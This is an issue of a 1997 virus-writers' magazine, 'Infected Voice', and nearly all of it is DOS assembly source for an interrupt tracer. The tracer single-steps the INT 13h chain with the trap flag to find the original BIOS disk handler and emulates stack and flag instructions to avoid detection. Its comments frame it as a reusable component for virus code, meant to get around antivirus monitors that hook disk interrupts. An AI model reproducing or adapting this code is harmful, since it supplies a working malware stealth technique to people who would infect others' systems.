
      ÜÜ                  Û
     ßßß  Virus Magazine  Û Box 176, Kiev 210, Ukraine      IV  1997
     ßÛÛ ßßßßßßßßßßßßßßßß Û ßßßßßßßßßßßßßßßßßßß ß ßßßßÞßßß  ÛßßßßßßÛ
      ÞÛ ÛßÜ Ûßß Üßß Üßß ÜÛÜ Üßß ÛßÛ    Ý Û ÜßÛ Û Üßß ÛÜÜ   Û ßßßÛ Û
       Û Û Û Ûß  Ûß  Û    Û  Ûß  Û Û    Û Û Û Û Û Û   Û     Û ÜÜÜÛ Û
       Û Þ Þ Þ   ÞÜÜ ÞÜÜ  Þ  ÞÜÜ ÞÜß     ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜÜ  Û ÛÜÜÜ Û
       Þ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ  ÛÜÜÜÜÜÜÛ
          (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.
                              sgww@hotmail.com
            Digest of IV 8 - 11 russian, including Moscow issues

;   ÛÛÛÛÛÛÛÛÛÛÛÛÛ TRACING WITH DEFENCE AGAINST DETECTION ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
;   See TR_INTRO.IV2 for more details
;
.MODEL TINY
.CODE
 ORG 100h

beep macro fff                  ; debug macro - puts symbol on a screen
pushf
push ax
mov ah,0eh
mov al,fff
int 10h
pop ax
popf
endm

CLT MACRO                       ; Clear TF
        PUSHF
        POP  AX
        AND  AH,0FEh
        PUSH AX
        POPF
        ENDM

STT MACRO                       ; Set TF
        PUSHF
        POP  AX
        OR   AH,01
        PUSH AX
        POPF
        ENDM

;---------------------------------------
; Constants - HEX-analogs of instructions

@CS_PFX EQU 2Eh
@DS_PFX EQU 3Eh
@ES_PFX EQU 26h
@SS_PFX EQU 36h
@REP_PFX EQU 0F3h

@SUB_SI_BYTE EQU 0EE83h
@MOV_SS_REG  EQU 8EH
@PUSH_IMM    EQU 68H
@CALL_FAR    EQU 09Ah
@POP_SS      EQU 17H
@MOV_BL      EQU 0B3H
@PUSHF       EQU 09CH
@POPF        EQU 09DH
@IRET        EQU 0CFH
@INT         EQU 0CDH
@STI         EQU 0FBH

@JB          EQU 72h
@JAE         EQU 73h

START        EQU 0000H          ; In virus code all variables in memory
                                ; MUST be reffered from offset of body
                                ; beginning (START)
;------------------------------------------------------------------------
_START:

;--------------------
 MOV AH,09
 MOV DX,OFFSET MSG
 INT 21H
 MOV AH,08
 INT 21H
 JMP OVERMSG

 MSG DB 'THE INTERRUPT PENETRATOR. Ver2.0 (C) LovinGOD, SGMoscoW/SGWW, 1996'
     DB  0dh,0ah,0DH,0AH
     DB '                         )  Exit int13h ',0dh,0ah
     DB '                         !  Int13h  Segment > 0F000h',0dh,0ah
     DB '                         -  End of activity',0dh,0ah
     DB '                         P  Prefixes CS: DS: ES: SS: REP ',0dh,0ah
     DB '                         S  POP SS ',0dh,0ah
     DB '                         s  MOV SS,<reg>',0dh,0ah
     DB '                        [ ] Int entry and exit',0dh,0ah
     DB '                        ^ v PUSHF and POPF',0dh,0ah
     DB '...Press any key...',0dh,0ah,'$'
 OVERMSG:
                                        ; Init tracing conditions
MOV WORD PTR CS:[CMPSEG-START],0F000h   ; Conditions of
MOV BYTE PTR CS:[CMPCMD-START],@JB      ; address saving
                                        ; Here (INT 13h):  Seg >=0F000h
                                        ; For INT 21h:  0300h and @JAE

MOV AX,3513h                    ; Get int13h
INT 21h
MOV CS:[OLD13-START],BX
MOV CS:[OLD13+2-START],ES

CLT

IN  AL,21h                      ; Turn off keyboard and timer (IRQ0,IRQ1)
OR  AL,00000011B
OUT 21h,AL

PUSH DS                         ; Set int01 handler
XOR  AX,AX
MOV  DS,AX
MOV  DS:[01*4],OFFSET TRACER13-START
MOV  DS:[01*4+2],CS
POP  DS

STT

mov ah,30h                      ; Tracing demo with INT XX
int 21h                         ; In your own code you need
                                ; to take away this call


PUSHF                           ; Call int13h
MOV AX,0880h                    ; (Get HDD parameters)
DB  @CALL_FAR
OLD13  DW ?,?
                                                ; End of work
MOV BYTE PTR CS:[TRACER13-START],@IRET          ; "Close" int01 handler

pushf
pop ax
and ah,0feh
push ax
popf

beep')'

IN  AL,21h                      ; Restore IRQs
AND AL,11111100B
OUT 21h,AL

MOV AX,4C00h                    ; The end of prog
INT 21h

;-------------------------------------------------------------------------
REAL13 DW ?,?
;-------------------------------------------------------------------------

TRACER13 PROC
        DB   90H                                ; To be replaced with IRET
                                                ; when original address is
                                                ; found

        MOV  WORD PTR CS:[BPSAVE-START],BP      ; Save registers
        MOV  WORD PTR CS:[SISAVE-START],SI
        MOV  WORD PTR CS:[DSSAVE-START],DS
        MOV  WORD PTR CS:[AXSAVE-START],AX

        PUSH SI ES
        PUSH CS CS
        POP  DS ES
        MOV  SI,OFFSET REFRESH-START
        MOV  DI,OFFSET TRACER13-START
        CLD
        MOVSW
        MOVSW
        MOVSW
        STD
        POP  ES SI

        POP  SI DS AX                   ; All we need for IRET
                                        ; DS:SI = Next command address
                                        ;    AX = Flags

                                        ; Restore TRACER's code
        PUSH AX
        MOV  AX,DS                      ; Got it ?
        CMPSEG EQU $+1
        CMP  AX,0F000H
        POP  AX
        CMPCMD EQU $
        JB   NOTREACHED

        ;---------------------------------------  Got it !
        beep'!'

        MOV    CS:[REAL13-START],SI             ; Original int13h
        MOV    CS:[REAL13-START+2],DS

        AND  AH,0FEH                            ; Clear TF
        MOV  BYTE PTR CS:[TRACER13-START],0CFH  ; Put IRET in handler
        JMP  ALLBACK

        ;--------------------------------------- Tracing in process...
     NOTREACHED:                                ; BIOS is not achieved yet

       ;---------------------------------------- Clear prefixes
        MOV  BYTE PTR CS:[PFX_ADD-START],00
    TEST_PFX:
        CMP  BYTE PTR DS:[SI],@CS_PFX
        JE   THE_PFX
        CMP  BYTE PTR DS:[SI],@DS_PFX
        JE   THE_PFX
        CMP  BYTE PTR DS:[SI],@ES_PFX
        JE   THE_PFX
        CMP  BYTE PTR DS:[SI],@SS_PFX
        JE   THE_PFX
        CMP  BYTE PTR DS:[SI],@REP_PFX
        JE   THE_PFX
                                                ; Check for LOCK

        JMP END_PFX_TEST

    THE_PFX:                                    ; Clear another prefix
        beep 'P'
        INC  BYTE PTR CS:[PFX_ADD-START]
        INC  SI
        JMP  TEST_PFX

    END_PFX_TEST:
       ;------------------------------ SS operations emulation
        CMP BYTE PTR DS:[SI],@POP_SS
        JNE TEST_SS_REG

        beep 'S'

        INC SI
        CLI
        POP SS
        STI
        JMP SS_OUT

  TEST_SS_REG:
        CMP BYTE PTR DS:[SI],@MOV_SS_REG
        JNE SS_OUT

        beep 's'

        CMP BYTE PTR DS:[SI+1],0D0h
        JB SS_OUT
        CMP BYTE PTR DS:[SI+1],0D8h
        JAE SS_OUT

        PUSH BX
        MOV BL,BYTE PTR DS:[SI+1]
        MOV BYTE PTR CS:[MOV_SS_OPERAND-START],BL
        POP BX

        XCHG AX,WORD PTR CS:[AXSAVE-START]
        XCHG BP,WORD PTR CS:[BPSAVE-START]
        XCHG SI,WORD PTR CS:[SISAVE-START]

        CLI
        JMP SHORT $+2
        MOV_SS_OPERAND EQU $+1
        MOV SS,AX
        STI

        MOV AX,WORD PTR CS:[AXSAVE-START]
        MOV BP,WORD PTR CS:[BPSAVE-START]
        MOV SI,WORD PTR CS:[SISAVE-START]

        INC SI
        INC SI

  SS_OUT:
       ;---------------------------------------
                                                ; PUSHF ?
        CMP BYTE PTR DS:[SI],@PUSHF
        JNE N0

        beep '^'

        INC  SI                                 ; Put IRET after PUSHF
        PUSH AX                                 ; Doing PUSHF by ourselves
        MOV  BP,SP
        AND  WORD PTR SS:[BP],0FEFFH            ; Clear TF in Flags
        JMP  ALLBACK

        ;------------------------------------------------------------------
     PFX_BACK:                                  ; Set SI at start if
                                                ; prefixes were used
        DW @SUB_SI_BYTE                         ; SUB SI,PFX_ADD
        PFX_ADD DB ?

        PUSH AX DS SI
        CALL BACK_REGS
        beep '-'
        IRET

     ALLBACK:                                   ; Exit this INT
        MOV CS:[ALLBACKADDR-START],SI
        MOV CS:[ALLBACKADDR+2-START],DS
        PUSH AX                         ; Putting everything for IRET
                                        ; into the stack

        PUSH CS
        DB @PUSH_IMM
        DW (OFFSET ALLBACK1-START)

        CALL BACK_REGS

        beep'-'
        RETF

     ALLBACK1:
        POPF
        DB 0EAh
        ALLBACKADDR DW ?,?

    BACK_REGS:
        SISAVE EQU $+1                          ; Restore registers
        MOV    SI,0000
        DSSAVE EQU $+1
        MOV    AX,0000
        MOV    DS,AX
        AXSAVE EQU $+1
        MOV    AX,0000
        BPSAVE EQU $+1
        MOV    BP,0000
        RETN

     N0:
        CMP BYTE PTR DS:[SI],@POPF
        JNE N1

        ;----------------------------- Check routine

        beep 'v'

        MOV BP,SP
        OR  WORD PTR SS:[BP],0100H
        JMP PFX_BACK

     N1:
        CMP BYTE PTR DS:[SI],@IRET
        JNE NXTT3
        beep'i'
                                        ; IRET is the next instruction
        MOV BP,SP
        OR WORD PTR SS:[BP+04],0100H    ; Set TF in Flags
        JMP ALLBACK

     NXTT3:
        ;-------------------------------------  INT call

        CMP BYTE PTR DS:[SI],@INT
        JE  INT_IT_IS
        JMP PFX_BACK
    INT_IT_IS:
        beep '['

        INC SI
        INC SI

        MOV WORD PTR CS:[IRET_CS-START],CS
        MOV WORD PTR CS:[IRET_IP-START],SI

        PUSH AX                                 ; IRET for "INT_XX"
                                                ; (points at our code)
        MOV  BP,SP
        AND  WORD PTR SS:[BP],0FEFFh            ; Flags
        PUSH CS                                 ; CS
        DB @PUSH_IMM
        DW (OFFSET AFTER_INT-START)             ; IP

        PUSH BX AX
        XOR  BH,BH
        MOV  BL,DS:[SI-1]                       ; INT#
        SHL  BL,1
        SHL  BL,1
        XOR  AX,AX
        MOV  DS,AX
        LDS  SI,DWORD PTR DS:[BX]               ; Handler offset
        POP  AX BX
        AND  AH,0FEh                    ; TF=0 inside INT handler and
                                        ; when returning

        JMP  ALLBACK

TRACER13 ENDP
;---------------------------------------------
  REFRESH:                                      ; TRACER routine start
                                                ; code restoring
        DB   90H
        MOV  WORD PTR CS:[BPSAVE-START],BP
;----------------------------------------------------------------------
AFTER_INT:
        BEEP ']'
        STT
        DB 0EAh
        IRET_IP DW ?
        IRET_CS DW ?

;---------------------------
INSIDE_INT DB 0
just_cc db 0

END _START